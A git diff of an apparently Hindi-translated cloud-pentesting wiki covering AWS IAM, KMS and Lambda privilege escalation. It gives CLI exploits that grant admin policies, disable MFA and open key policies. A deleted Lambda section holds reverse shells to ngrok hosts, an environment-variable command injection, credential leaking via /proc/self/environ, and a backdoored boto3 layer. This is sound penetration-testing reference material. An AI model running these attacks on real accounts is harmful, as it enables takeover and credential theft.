+यह किसी अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित अधिकार वृद्धि हो सकती है।
+
+**एक्सप्लॉइट:**
+```bash
+aws iam create-access-key --user-name 
+```
+**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित permissions को assume करके direct privilege escalation होता है।
+
+### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
+
+login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console लॉगिन के लिए पासवर्ड सेट करना शामिल है, जिससे direct privilege escalation हो सकता है।
+
+**Exploit for Creation:**
+```bash
+aws iam create-login-profile --user-name target_user --no-password-reset-required \
+--password ''
+```
+**अपडेट के लिए Exploit:**
+```bash
+aws iam update-login-profile --user-name target_user --no-password-reset-required \
+--password ''
+```
+**प्रभाव:** सीधा privilege escalation "any" user के रूप में लॉगिन करके।
+
+### **`iam:UpdateAccessKey`**
+
+एक disabled access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकती है यदि attacker के पास वह disabled key मौजूद हो।
+
+**Exploit:**
+```bash
+aws iam update-access-key --access-key-id  --status Active --user-name 
+```
+**प्रभाव:** access keys को पुनः सक्रिय करके सीधे privilege escalation प्राप्त करना।
+
+### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
+
+विशिष्ट AWS सेवाओं (e.g., CodeCommit, Amazon Keyspaces) के लिए credentials जनरेट या रीसेट करने की अनुमति देता है, जो संबंधित user की permissions को inherit करता है।
+
+**Exploit for Creation:**
+```bash
+aws iam create-service-specific-credential --user-name  --service-name 
+```
+**रीसेट के लिए Exploit:**
+```bash
+aws iam reset-service-specific-credential --service-specific-credential-id 
+```
+**प्रभाव:** उपयोगकर्ता की सेवा अनुमतियों के भीतर प्रत्यक्ष privilege escalation।
+
+### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
+
+यह उपयोगकर्ताओं या समूहों पर नीतियाँ जोड़ने की अनुमति देता है, जिससे संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे privilege escalation हो जाता है।
+
+**Exploit for User:**
+```bash
+aws iam attach-user-policy --user-name  --policy-arn ""
+```
+**Exploit के लिए Group:**
+```bash
+aws iam attach-group-policy --group-name  --policy-arn ""
+```
+**प्रभाव:** किसी भी चीज़ के लिए प्रत्यक्ष privilege escalation जो नीति प्रदान करती है।
+
+### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
+
+भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियाँ संलग्न या लागू करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर प्रत्यक्ष privilege escalation संभव हो जाता है।
+
+**Exploit for Role:**
+```bash
+aws iam attach-role-policy --role-name  --policy-arn ""
+```
+**Inline Policies के लिए Exploit:**
+```bash
+aws iam put-user-policy --user-name  --policy-name "" \
+--policy-document "file:///path/to/policy.json"
+
+aws iam put-group-policy --group-name  --policy-name "" \
+--policy-document file:///path/to/policy.json
+
+aws iam put-role-policy --role-name  --policy-name "" \
+--policy-document file:///path/to/policy.json
+```
+आप इस तरह की नीति का उपयोग कर सकते हैं:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": ["*"]
+}
+]
+}
+```
+**Impact:** नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation।
+
+### **`iam:AddUserToGroup`**
+
+किसी IAM group में खुद को जोड़ने की अनुमति देता है, जिससे group की permissions inherit करके escalating privileges प्राप्त होते हैं।
+
+**Exploit:**
+```bash
+aws iam add-user-to-group --group-name  --user-name 
+```
+**प्रभाव:** समूह की अनुमतियों के स्तर तक प्रत्यक्ष privilege escalation।
+
+### **`iam:UpdateAssumeRolePolicy`**
+
+यह किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करना और उससे जुड़ी अनुमतियाँ प्राप्त करना संभव हो जाता है।
+
+**Exploit:**
+```bash
+aws iam update-assume-role-policy --role-name  \
+--policy-document file:///path/to/assume/role/policy.json
+```
+जब पॉलिसी निम्नानुसार दिखती है, जो उपयोगकर्ता को उस भूमिका को ग्रहण करने की अनुमति देती है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sts:AssumeRole",
+"Principal": {
+"AWS": "$USER_ARN"
+}
+}
+]
+}
+```
+**प्रभाव:** किसी भी role की permissions को assume करके सीधा privilege escalation।
+
+### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
+
+CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जो संभावित अप्रत्यक्ष privilege escalation का कारण बन सकता है।
+
+**Exploit for SSH Key Upload:**
+```bash
+aws iam upload-ssh-public-key --user-name  --ssh-public-key-body 
+```
+**MFA निष्क्रियकरण के लिए Exploit:**
+```bash
+aws iam deactivate-mfa-device --user-name  --serial-number 
+```
+**प्रभाव:** CodeCommit एक्सेस सक्षम करके या MFA सुरक्षा अक्षम करके अप्रत्यक्ष privilege escalation।
+
+### **`iam:ResyncMFADevice`**
+
+यह MFA डिवाइस को पुनर्सिंक करने की अनुमति देता है, जिससे MFA सुरक्षा में छेड़छाड़ करके संभावित रूप से अप्रत्यक्ष privilege escalation हो सकता है।
+
+**Bash Command:**
+```bash
+aws iam resync-mfa-device --user-name  --serial-number  \
+--authentication-code1  --authentication-code2 
+```
+**प्रभाव:** MFA devices को जोड़ने या बदलने से अप्रत्यक्ष privilege escalation।
+
+### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
+
+इन permissions के साथ आप **change the XML metadata of the SAML connection** कर सकते हैं। फिर आप **SAML federation** का दुरुपयोग करके किसी भी ऐसे **role that is trusting** के साथ **login** कर सकते हैं।
+
+ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालांकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना XML डालकर login कर सकते हैं और पहले वाली सेटिंग वापस configure कर सकते हैं।
+```bash
+# List SAMLs
+aws iam list-saml-providers
+
+# Optional: Get SAML provider XML
+aws iam get-saml-provider --saml-provider-arn 
+
+# Update SAML provider
+aws iam update-saml-provider --saml-metadata-document  --saml-provider-arn 
+
+## Login impersonating roles that trust the SAML provider
+
+# Optional: Set the previous XML back
+aws iam update-saml-provider --saml-metadata-document  --saml-provider-arn 
+```
+> [!NOTE]
+> TODO: एक टूल जो निर्दिष्ट role के साथ SAML metadata जनरेट कर सके और लॉगिन कर सके
+
+### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
+
+(इसके बारे में निश्चित नहीं) अगर किसी attacker के पास ये **permissions** हों तो वह एक नया **Thumbprint** जोड़कर provider पर भरोसा करने वाले सभी roles में लॉगिन कर सकता है।
+```bash
+# List providers
+aws iam list-open-id-connect-providers
+# Optional: Get Thumbprints used to not delete them
+aws iam get-open-id-connect-provider --open-id-connect-provider-arn 
+# Update Thumbprints (The thumbprint is always a 40-character string)
+aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn  --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
+```
+### `iam:PutUserPermissionsBoundary`
+
+यह permission एक attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, जिससे वे अपनी privileges escalate कर सकते हैं — और उन actions को कर सकते हैं जो सामान्यतः उनके मौजूदा permissions द्वारा प्रतिबंधित होते हैं।
+
+## संदर्भ
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
deleted file mode 100644
index 493edb919..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ /dev/null
@@ -1,110 +0,0 @@
-# AWS - KMS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-KMS के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
-
-इन अनुमतियों के साथ **कुंजी के लिए पहुँच अनुमतियों को संशोधित करना संभव है** ताकि इसे अन्य खातों या यहां तक कि किसी भी व्यक्ति द्वारा उपयोग किया जा सके:
-```bash
-aws kms list-keys
-aws kms list-key-policies --key-id  # Although only 1 max per key
-aws kms get-key-policy --key-id  --policy-name 
-# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
-aws kms put-key-policy --key-id  --policy-name  --policy file:///tmp/policy.json
-```
-policy.json:
-```json
-{
-"Version": "2012-10-17",
-"Id": "key-consolepolicy-3",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam:::root"
-},
-"Action": "kms:*",
-"Resource": "*"
-},
-{
-"Sid": "Allow all use",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam:::root"
-},
-"Action": ["kms:*"],
-"Resource": "*"
-}
-]
-}
-```
-### `kms:CreateGrant`
-
-यह **एक प्रिंसिपल को KMS कुंजी का उपयोग करने की अनुमति देता है:**
-```bash
-aws kms create-grant \
---key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
---grantee-principal arn:aws:iam::123456789012:user/exampleUser \
---operations Decrypt
-```
-> [!WARNING]
-> एक ग्रांट केवल कुछ प्रकार के संचालन की अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-> [!WARNING]
-> ध्यान दें कि KMS को **ग्रांट उत्पन्न होने के बाद कुंजी का उपयोग करने के लिए उपयोगकर्ता को अनुमति देने में कुछ मिनट लग सकते हैं**। एक बार वह समय बीत जाने के बाद, प्रिंसिपल KMS कुंजी का उपयोग बिना कुछ निर्दिष्ट किए कर सकता है।\
-> हालाँकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है [एक ग्रांट टोकन का उपयोग करें](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (निम्नलिखित कोड देखें)।\
-> [**अधिक जानकारी के लिए इसे पढ़ें**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)।
-```bash
-# Use the grant token in a request
-aws kms generate-data-key \
---key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
-–-key-spec AES_256 \
---grant-tokens $token
-```
-ध्यान दें कि कुंजियों के अनुदान को सूचीबद्ध करना संभव है:
-```bash
-aws kms list-grants --key-id 
-```
-### `kms:CreateKey`, `kms:ReplicateKey`
-
-इन अनुमतियों के साथ, एक अलग क्षेत्र में एक अलग नीति के साथ एक मल्टी-रीजन सक्षम KMS कुंजी को पुन: उत्पन्न करना संभव है।
-
-इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक अपनी पहुंच प्राप्त कर सकता है और इसका उपयोग कर सकता है।
-```bash
-aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
-
-{
-"Version": "2012-10-17",
-"Id": "key-consolepolicy-3",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-### `kms:Decrypt`
-
-यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को डिक्रिप्ट करने की अनुमति देती है।\
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-post-exploitation/aws-kms-post-exploitation.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
new file mode 100644
index 000000000..c284de18e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
@@ -0,0 +1,110 @@
+# AWS - KMS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+KMS के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
+
+इन अनुमतियों के साथ यह संभव है कि आप **कुंजी के एक्सेस अनुमतियों को संशोधित** कर सकें ताकि इसे अन्य खातों द्वारा या यहां तक कि किसी भी व्यक्ति द्वारा उपयोग किया जा सके:
+```bash
+aws kms list-keys
+aws kms list-key-policies --key-id  # Although only 1 max per key
+aws kms get-key-policy --key-id  --policy-name 
+# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
+aws kms put-key-policy --key-id  --policy-name  --policy file:///tmp/policy.json
+```
+policy.json:
+```json
+{
+"Version": "2012-10-17",
+"Id": "key-consolepolicy-3",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam:::root"
+},
+"Action": "kms:*",
+"Resource": "*"
+},
+{
+"Sid": "Allow all use",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam:::root"
+},
+"Action": ["kms:*"],
+"Resource": "*"
+}
+]
+}
+```
+### `kms:CreateGrant`
+
+यह **किसी प्रिंसिपल को KMS key का उपयोग करने की अनुमति देता है:**
+```bash
+aws kms create-grant \
+--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
+--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
+--operations Decrypt
+```
+> [!WARNING]
+> एक grant केवल कुछ ही प्रकार के operations की अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+  
+> [!WARNING]
+> ध्यान दें कि KMS के लिए यह कुछ मिनट लग सकते हैं ताकि वह **उपयोगकर्ता को key का उपयोग करने की अनुमति दे सके जब grant जनरेट हो चुका हो**। एक बार वह समय बीत जाने के बाद, principal बिना कुछ निर्दिष्ट किए KMS key का उपयोग कर सकता है।\
+> हालांकि, यदि grant को तुरंत उपयोग करने की आवश्यकता हो तो [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (नीचे दिए गए कोड को देखें)।\
+> अधिक जानकारी के लिए [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+```bash
+# Use the grant token in a request
+aws kms generate-data-key \
+--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
+–-key-spec AES_256 \
+--grant-tokens $token
+```
+ध्यान दें कि keys के grants को सूचीबद्ध करना संभव है:
+```bash
+aws kms list-grants --key-id 
+```
+### `kms:CreateKey`, `kms:ReplicateKey`
+
+इन permissions के साथ यह संभव है कि एक multi-region enabled KMS key को किसी अन्य region में, अलग policy के साथ replicate किया जाए।
+
+इसका दुरुपयोग करके एक हमलावर privesc हासिल कर के key तक अपने access को बढ़ा सकता है और इसका उपयोग कर सकता है।
+```bash
+aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
+
+{
+"Version": "2012-10-17",
+"Id": "key-consolepolicy-3",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+### `kms:Decrypt`
+
+यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को decrypt करने की अनुमति देती है.\
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-post-exploitation/aws-kms-post-exploitation/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
deleted file mode 100644
index 44489d381..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ /dev/null
@@ -1,326 +0,0 @@
-# AWS - Lambda Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## lambda
-
-More info about lambda in:
-
-{{#ref}}
-../aws-services/aws-lambda-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
-
-Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
-वे **नया Lambda function बनाना और इसे एक मौजूदा IAM role असाइन करना** कर सकते हैं, जिससे उस role से जुड़े permissions function को मिल जाते हैं। उपयोगकर्ता फिर **इस Lambda function में कोड लिखना और अपलोड करना (उदाहरण के लिए rev shell के साथ)** कर सकता है।\
-एक बार function सेटअप हो जाने पर, उपयोगकर्ता **इसके निष्पादन को ट्रिगर करना** और AWS API के माध्यम से Lambda function को invoke करके इच्छित क्रियाएँ कर सकता है। यह तरीका प्रभावी रूप से उपयोगकर्ता को Lambda function के जरिए अप्रत्यक्ष रूप से कार्य करने की अनुमति देता है, उस IAM role को दिए गए access स्तर के साथ जो उससे जुड़ा होता है।\\
-
-A attacker could abuse this to get a **rev shell and steal the token**:
-```python:rev.py
-import socket,subprocess,os,time
-def lambda_handler(event, context):
-s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
-s.connect(('4.tcp.ngrok.io',14305))
-os.dup2(s.fileno(),0)
-os.dup2(s.fileno(),1)
-os.dup2(s.fileno(),2)
-p=subprocess.call(['/bin/sh','-i'])
-time.sleep(900)
-return 0
-```
-
-```bash
-# Zip the rev shell
-zip "rev.zip" "rev.py"
-
-# Create the function
-aws lambda create-function --function-name my_function \
---runtime python3.9 --role  \
---handler rev.lambda_handler --zip-file fileb://rev.zip
-
-# Invoke the function
-aws lambda invoke --function-name my_function output.txt
-## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
-
-# List roles
-aws iam list-attached-user-policies --user-name 
-```
-आप lambda फ़ंक्शन से ही **abuse the lambda role permissions** भी कर सकते हैं.\
-यदि lambda role के पास पर्याप्त permissions हों तो आप इसका उपयोग करके खुद को admin rights दे सकते हैं:
-```python
-import boto3
-def lambda_handler(event, context):
-client = boto3.client('iam')
-response = client.attach_user_policy(
-UserName='my_username',
-PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
-)
-return response
-```
-बाहरी कनेक्शन की आवश्यकता के बिना lambda's role credentials को leak करना भी संभव है। यह आंतरिक कार्यों पर उपयोग होने वाली **Network isolated Lambdas** के लिए उपयोगी होगा। अगर अनजान security groups आपके reverse shells को फ़िल्टर कर रहे हैं, तो यह कोड का टुकड़ा आपको सीधे lambda के आउटपुट के रूप में credentials को leak करने की अनुमति देगा।
-```python
-def handler(event, context):
-sessiontoken = open('/proc/self/environ', "r").read()
-return {
-'statusCode': 200,
-'session': str(sessiontoken)
-}
-```
-
-```bash
-aws lambda invoke --function-name  output.txt
-cat output.txt
-```
-**संभावित प्रभाव:** निर्दिष्ट किसी भी lambda सर्विस रोल पर सीधे privesc।
-
-> [!CAUTION]
-> ध्यान दें कि भले ही यह दिलचस्प लग सकता है, **`lambda:InvokeAsync`** **नहीं** अपने आप **निष्पादित `aws lambda invoke-async`** करने की अनुमति देता; आपको `lambda:InvokeFunction` भी चाहिए।
-
-### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
-
-पिछले परिदृश्य की तरह, आप **खुद को `lambda:InvokeFunction` दे सकते हैं** यदि आपके पास **`lambda:AddPermission`** अनुमति है।
-```bash
-# Check the previous exploit and use the following line to grant you the invoke permissions
-aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
---action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
-```
-**Potential Impact:** निर्दिष्ट किसी भी lambda service role पर सीधे privesc।
-
-### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-
-उन उपयोगकर्ताओं के पास **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions हों (और संभवतः `dynamodb:PutItem` और `dynamodb:CreateTable`), तो वे बिना `lambda:InvokeFunction` के भी अप्रत्यक्ष रूप से **escalate privileges** कर सकते हैं.\
-वे एक **दुष्ट कोड वाली Lambda function बना कर उसे किसी मौजूद IAM role पर असाइन** कर सकते हैं।
-
-Lambda को सीधे invoke करने की बजाय, उपयोगकर्ता एक मौजूद DynamoDB table सेटअप या उपयोग करता है, और इसे event source mapping के माध्यम से Lambda से लिंक करता है। यह सेटअप सुनिश्चित करता है कि तालिका में किसी नए आइटम के दर्ज होते ही Lambda function **तालिका में किसी नए आइटम के दर्ज होते ही स्वतः ट्रिगर** हो जाए, चाहे वह उपयोगकर्ता की क्रिया से हो या किसी अन्य प्रक्रिया से; इस तरह Lambda function अप्रत्यक्ष रूप से invoke होगा और पास किए गए IAM role की अनुमतियों के साथ कोड execute करेगा।
-```bash
-aws lambda create-function --function-name my_function \
---runtime python3.8 --role  \
---handler lambda_function.lambda_handler \
---zip-file fileb://rev.zip
-```
-यदि DynamoDB पहले से ही AWS environment में सक्रिय है, तो उपयोगकर्ता को केवल Lambda function के लिए **event source mapping स्थापित करने की आवश्यकता** है। हालाँकि, यदि DynamoDB उपयोग में नहीं है, तो उपयोगकर्ता को **streaming सक्षम करके एक नई table बनानी होगी**:
-```bash
-aws dynamodb create-table --table-name my_table \
---attribute-definitions AttributeName=Test,AttributeType=S \
---key-schema AttributeName=Test,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
-```
-अब यह संभव है **Lambda function को DynamoDB table से जोड़ना** के द्वारा **event source mapping बनाकर**:
-```bash
-aws lambda create-event-source-mapping --function-name my_function \
---event-source-arn  \
---enabled --starting-position LATEST
-```
-जब Lambda function को DynamoDB stream से लिंक किया गया है, तो attacker **DynamoDB stream को सक्रिय करके Lambda को परोक्ष रूप से ट्रिगर कर सकता है**। यह DynamoDB table में **एक आइटम डालकर** किया जा सकता है:
-```bash
-aws dynamodb put-item --table-name my_table \
---item Test={S="Random string"}
-```
-**संभावित प्रभाव:** निर्दिष्ट lambda सर्विस रोल पर सीधे privesc।
-
-### `lambda:AddPermission`
-
-इस permission के साथ एक हमलावर **खुद को (या दूसरों को) कोई भी अनुमति दे सकता है** (यह resource based policies जनरेट करता है जो resource तक access देने के लिए होते हैं):
-```bash
-# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
-aws lambda add-permission --function-name  --statement-id asdasd --action '*' --principal arn:
-
-# Invoke the function
-aws lambda invoke --function-name  /tmp/outout
-```
-**संभावित प्रभाव:** कोड को संशोधित करने और उसे चलाने की अनुमति देकर सीधे lambda service role पर privesc हासिल किया जा सकता है।
-
-### `lambda:AddLayerVersionPermission`
-
-इस permission वाले attacker स्वयं (या दूसरों को) **permission `lambda:GetLayerVersion` दे सकता है**। वह layer तक पहुँच सकता है और vulnerabilities या संवेदनशील जानकारी की तलाश कर सकता है।
-```bash
-# Give everyone the permission lambda:GetLayerVersion
-aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
-```
-**Potential Impact:** संवेदनशील सूचना तक संभावित पहुँच।
-
-### `lambda:UpdateFunctionCode`
-
-जिस उपयोगकर्ता के पास **`lambda:UpdateFunctionCode`** permission है, उसके पास किसी IAM role से जुड़े मौजूदा Lambda function के कोड को संशोधित करने की क्षमता है।\
-हमलावर **modify the code of the lambda to exfiltrate the IAM credentials** कर सकता है।
-
-हालाँकि हमलावर के पास फ़ंक्शन को सीधे invoke करने की क्षमता नहीं हो सकती है, यदि Lambda function पहले से मौजूद और सक्रिय है, तो यह सम्भावित है कि यह मौजूदा workflows या events के माध्यम से trigger हो जाएगा, जिससे संशोधित कोड का अप्रत्यक्ष रूप से निष्पादन संभव हो जाता है।
-```bash
-# The zip should contain the lambda code (trick: Download the current one and add your code there)
-aws lambda update-function-code --function-name target_function \
---zip-file fileb:///my/lambda/code/zipped.zip
-
-# If you have invoke permissions:
-aws lambda invoke --function-name my_function output.txt
-
-# If not check if it's exposed in any URL or via an API gateway you could access
-```
-**संभावित प्रभाव:** उपयोग किए गए lambda service role पर सीधे privesc।
-
-### `lambda:UpdateFunctionConfiguration`
-
-#### RCE env variables के माध्यम से
-
-इन अनुमतियों के साथ ऐसे environment variables जोड़ना संभव है जो Lambda को मनमाना कोड execute करने का कारण बनें। उदाहरण के लिए python में `PYTHONWARNING` और `BROWSER` जैसे environment variables का दुरुपयोग करके एक python process को arbitrary commands execute कराने के लिए प्रेरित किया जा सकता है:
-```bash
-aws --profile none-priv lambda update-function-configuration --function-name  --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
-```
-अन्य स्क्रिप्टिंग भाषाओं के लिए आप अन्य env variables उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंड देखें:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
-{{#endref}}
-
-#### RCE via Lambda Layers
-
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) आपको आपके lamdba function में **code** शामिल करने की अनुमति देता है, लेकिन इसे अलग से स्टोर करके, जिससे function का code छोटा रह सकता है और कई functions कोड साझा कर सकते हैं।
-
-Inside lambda आप उन paths की जांच कर सकते हैं जहाँ से python code लोड होता है, एक ऐसी function के साथ जैसा नीचे दिया गया है:
-```python
-import json
-import sys
-
-def lambda_handler(event, context):
-print(json.dumps(sys.path, indent=2))
-```
-These are the places:
-
-1. /var/task
-2. /opt/python/lib/python3.7/site-packages
-3. /opt/python
-4. /var/runtime
-5. /var/lang/lib/python37.zip
-6. /var/lang/lib/python3.7
-7. /var/lang/lib/python3.7/lib-dynload
-8. /var/lang/lib/python3.7/site-packages
-9. /opt/python/lib/python3.7/site-packages
-10. /opt/python
-
-For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
-
-#### Exploitation
-
-`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी lambda function में **add a new layer** करना संभव है। Arbitrary code चलाने के लिए इस layer में कुछ **library that the lambda is going to import.** मौजूद होना चाहिए। यदि आप lambda का कोड पढ़ सकते हैं तो आप इसे आसानी से ढूँढ सकते हैं। ध्यान दें कि संभव है कि lambda पहले से ही **already using a layer** हो और आप उस layer को **download** करके उसमें **add your code** कर सकें।
-
-For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
-```bash
-pip3 install -t ./lambda_layer boto3
-```
-आप `./lambda_layer/boto3/__init__.py` खोल सकते हैं और **add the backdoor in the global code** (उदाहरण के लिए credentials exfiltrate करने या reverse shell पाने वाला एक फ़ंक्शन)।  
-
-फिर, उस `./lambda_layer` डायरेक्टरी को zip करें और **upload the new lambda layer** अपने account में (या victim के account में, पर हो सकता है कि आपके पास permissions न हों)।\
-
-ध्यान दें कि आपको एक python फ़ोल्डर बनाना होगा और लाइब्रेरीज़ वहाँ रखनी होंगी ताकि /opt/python/boto3 को override किया जा सके। साथ ही, layer को **compatible with the python version** होना चाहिए जो lambda उपयोग करता है, और अगर आप इसे अपने account में upload करते हैं, तो यह **same region:** में होना चाहिए।
-```bash
-aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
-```
-अब अपलोड की गई lambda layer को **किसी भी खाते से पहुँच योग्य** बनाएं:
-```bash
-aws lambda add-layer-version-permission --layer-name boto3 \
---version-number 1 --statement-id public \
---action lambda:GetLayerVersion --principal *
-```
-और lambda layer को victim lambda function से जोड़ें:
-```bash
-aws lambda update-function-configuration \
---function-name  \
---layers arn:aws:lambda:::layer:boto3:1 \
---timeout 300 #5min for rev shells
-```
-अगला कदम होगा या तो अगर हम कर सकें तो **फ़ंक्शन को invoke करना** या सामान्य तरीकों से यह **invoke हो जाने** तक इंतज़ार करना — जो अधिक सुरक्षित तरीका है।
-
-एक **और stealth तरीका इस vulnerability को exploit करने का** यहाँ पाया जा सकता है:
-
-{{#ref}}
-../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
-{{#endref}}
-
-**Potential Impact:** सीधे privesc उस lambda service role तक जिसका उपयोग किया गया।
-
-### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-
